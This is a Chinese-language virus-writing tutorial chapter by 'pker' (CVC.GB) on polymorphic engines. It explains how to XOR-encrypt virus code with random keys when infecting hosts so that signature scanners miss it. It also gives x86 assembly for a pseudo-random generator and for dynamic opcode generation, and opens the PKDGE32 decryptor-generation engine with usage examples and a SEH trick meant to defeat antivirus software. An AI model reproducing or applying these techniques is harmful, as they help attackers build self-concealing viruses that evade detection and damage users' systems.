【pker / CVC.GB】
11、多态(Polymorphism)
-----------------------
在谈多态之前让我们先来看一看简单的代码加密(当然,在这里我指的不是密码学上的加密
:P)。考虑如下代码:
__start: mov esi,code2encrypt
mov edi,esi
mov ecx,code_len
encrypt: lodsb
xor al,2fh
stosb
loop encrypt
code2encrypt: ...
code_len = $-code2encrypt
上面的代码把code2encrypt中的每个字节与密钥(上面代码中的2fh,当然它可以是任意值)
相异或,这样得到的代码就是经过加密的代码了。解密时只要把加密的代码与密钥再次异或
即可解密。
上面的方法是一般使用的加密方法,加密的代码只有经过动态解密过程才能被还原成可以执
行的原始代码。在感染的时候我们可以随机产生密钥并把经过这个密钥加密的代码写进宿主。
这样,由于加密时的密钥是随机产生的,那么通过简单的特征值检测的方法就无法检测出该
病毒。
但是这样还有一个问题,就是我们的解密代码每次都是相同的(仅仅是密钥的值不同),所
以这样的病毒依然存在特征值!解决的方法是使我们的解密代码在每次感染时也不相同,这
种对解密代码进行变换的技术叫做多态(polymorphism),我们一般称之为poly。
一个简单的poly引擎应该做到:
1、解密代码可以随机选取寄存器
2、可以随机调换先后顺序无关指令的顺序
3、可以替换形式不同但功能相同的指令
4、可以在解密代码的指令之间随机地插入垃圾指令
上面是最基本的要求,当然还可以:
5、使用一些平台相关技术,如SEH等
6、使用一些未公开指令
7、可以随机插入反静态反汇编指令
等等...
下面我们来看一下一个最简单的poly引擎的设计过程:
首先,我们可以把上面的解密(同时也是加密)代码一般化:
__start: mov Rx,code2encrypt
mov Ry,code_len
encrypt: xor byte [Rx],2fh
inc Rx
dec Ry
jnz encrypt
code2encrypt: ...
code_len = $-code2encrypt
对于这样的加密代码,首先我们可以看到,代码中的Rx和Ry寄存器是可以随机选取的,但不
要用ESP因为那是堆栈指针,也最好不要用EBP,那样在后面的代码生成时你会看到它的可怕
:P 然后,我们还可以看到,前两条指令的顺序是无关的,我们可以调换它们的顺序。其次,
我们还可以把MOV REG,IMM指令用PUSH IMM/POP REG指令对进行替换,因为它们完成相同的
功能。还有最重要的一点,我们要在这些指令之间插入一些垃圾指令。
11.1、随机数发生器
------------------
好了,对于一个poly引擎的设计我想我们已经有了一定的思路。让我们从头开始,先来设计
一个随机函数发生器(Random Number Generator, RNG)。RNG的好坏很大程度上决定了一
个poly引擎的质量 :|
获得随机数的一个最简单的办法可以调用Win32 API GetTickCount (),或者使用Pentium指
令RDTSC,它的opcode是310fh。我们可以使用如下代码:
__random: call [GetTickCount]
xor edx,edx
div ecx
xchg edx,eax
ret
或者使用RDTSC:
__random: db 0fh,31h
xor edx,edx
div ecx
xchg edx,eax
ret
但是这样做的效果并不好。下面我们来看一下我的RNG的设计:
我们先来看这样一个装置,我们称它为PN(伪噪声,Pseudo Noise)序列发生器,
(模2加法)
_____
/ \
+----------- | + | <-------------------------------+
| \_____/ |
| A |
| +------+ | +------+ +----+ |
+--> | Dn-1 | --+--> | Dn-2 | ---> ... ---> | D0 | --+--> 输出
+------+ +------+ +----+
A A A
| | |
时钟 ---------------+---------------+---------------------+
它由一个n位的移位寄存器和反馈逻辑组成,这里的反馈逻辑是一个模2加法(我们下面用*
表示这个运算),即:Dn = Dn-1 * D0。一般我们称移位寄存器通过从右至左的移动而形成
序列的状态为正状态,反之成为反状态。所以上图是一个反状态PN序列发生器(不过我们并
不需要关心这个 :P)。下面通过一个更为简单的例子来说明PN序列发生器是如何工作的:
(模2加法)
_____
/ \
+--------- | + | <--------------------+
| \_____/ |
| A |
| +----+ | +----+ +----+ |
+--> | D2 | --+--> | D1 | ---> | D0 | --+--> 输出
+----+ +----+ +----+
A A A
| | |
时钟 --------------+-------------+-----------+
假设我们的移位寄存器的初始状态为110,那么当下一个时钟信号到来时移位寄存器的状态就
变为111,随后是:011、101、010、001、100、110...
输出序列为:0111010 0...。我们称这样一个序列为一个伪噪声序列。
读者可以通过实验看出,当反馈逻辑不同时,就构成了不同的PN序列发生器,而这些不同的
发生器的线性移位寄存器产生的输出序列周期也不同,我们称周期为(2^n)-1的PN序列发生器
为m序列发生器。
由于一个m序列具有最大周期,所以我们可以使用它来产生我们的随机数(其实m序列本身就是
一个伪随机序列)。考虑如下代码:
;
; input:
; eax --- a non-zero random number, which could be generated by RDTSC or
; GetTickCount or such functionz
; output:
; eax --- the result of the function
;
__m_seq_gen: pushad
xor esi,esi ; use to save the 32bit m-sequence
push 32 ; loop 32 times (but it's not a
pop ecx ; cycle in the m-sequence generator)
msg_next_bit: mov ebx,eax
mov ebp,ebx
xor edx,edx
inc edx
and ebp,edx ; get the lowest bit
dec cl
shl ebp,cl
or esi,ebp ; output...
inc cl
and ebx,80000001h ; \
ror bx,1 ; \
mov edx,ebx ; \
ror ebx,16 ; module 2 addition
xor bx,dx ; /
rcl ebx,17 ; /
rcr eax,1 ; /
loop msg_next_bit
mov [esp+28],esi
popad
ret
下面是我的PKRNG中的随机函数发生器:
;
; input:
; eax --- pointz to the random seed field
; edx --- the range of the random number to be generated
; output:
; eax --- random number as result
;
__random: pushad
xchg ecx,edx
mov edi,eax
mov esi,eax
lodsd ; get the previous seed value
mov ebx,eax
mov ebp,ebx
call __m_seq_gen ; generate a m-sequence
imul ebp ; multiply with the previous seed
xchg ebx,eax
call __m_seq_gen ; generate anothe m-sequence
add eax,ebx ; to make noise...
add eax,92151fech ; and some noisez...
stosd ; write new seed value
xor edx,edx
div ecx ; calculate the random number
mov [esp+28],edx ; according to a specified range
popad
ret
下面的函数用来初始化随机种子:
;
; input:
; edi --- points to the seed field
; output:
; nothing
;
__randomize: pushad
db 0fh,31h ; RDTSC
add eax,edx ; ...
stosd ; fill in the seed buffer
popad
ret
11.2、动态代码生成技术
----------------------
这是一个非常简单的问题,比如我们要生成push reg指令:
首先,push reg的opcode为50h,这条指令的低3位用来描述reg。(为什么?复习一下计算
机原理吧 :P),所以push eax的opcode就为50h,push ecx的opcode就为51h...
对于这条指令生成,我们可以考虑如下代码:
; suppose ecx containz the register mask (000: eax, 001: ecx...)
xxxx ; push reg16 ?
jnz push_reg_32 ; ...
mov al,66h ; assistant opcode
stosb ; for push reg16...
push_reg_32: xchg cl,al
or al,50h
stosb
首先我们判断是否push16为寄存器,如果是我们先要生成辅助码66h,否则就可以直接生成
相应的机器码。
11.3、一个完整的引擎
--------------------
好了, 有了上面的这些技术和思想, 我们可以编写我们的poly engine了。 下面是我的
PKDGE32的完整代码:
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this. Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code. The generated decryptor uses random registerz, with
; junk code inserted, and it's instruction-permutable. When coding, I found
; that the name 'decrypt generation engine' is more appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
; mov Rw,offset code2decrypt ; (1)
; mov Rz,decrypt_size ; (2)
; decrypt_loop: xor byte [Rw],imm8 ; (3)
; inc Rw ; (4)
; dec Rz ; (5)
; jnz decrypt_loop ; (6)
;
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this means the we can use random registerz in the decrypt code. The engine
; can select random registerz to generate each instruction. Meanwhile, the
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
; tionz in a random order. Also, we know that some of the instructionz can be
; replaced by other instructionz that performed the same. For example, we can
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz. And of course, there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start: call setup_seh ; (1)
; mov esp,[esp+8] ; (2)
; jmp end_seh ; (3)
; setup_seh: xor Rx,Rx ; (4)
; push dword [fs:Rx] ; (5)
; mov [fs:Rx],esp ; (6)
; dec dword [Rx] ; (7)
; jmp start ; (8)
; end_seh: xor Ry,Ry ; (9)
; pop dword [fs:Ry] ; (10)
; pop Rz ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h db 90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,decryptor
; mov esi,rng_seed
; mov ebx,crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor db 40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,offset decryptor
; mov esi,offset rng_seed
; mov ebx,offset crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor, so we can fix this value after generating the decryptor. This
; means we can replace the code which to be decrypt anywhere after generating
; the decrypt code. We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h db 0
;
; gen_decrytpor: mov edi,col_code
; mov esi,rng_seed
; mov ecx,crypted_size
; mov ebx,12345678h
; mov edx,12345678h
; call __pkdge32
; fix_address: mov esi,edi
; xchg eax,edi
; stosd
; xchg esi,edi
; copy_code: mov esi,crypt_code
; mov ecx,crypted_size
; rep movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;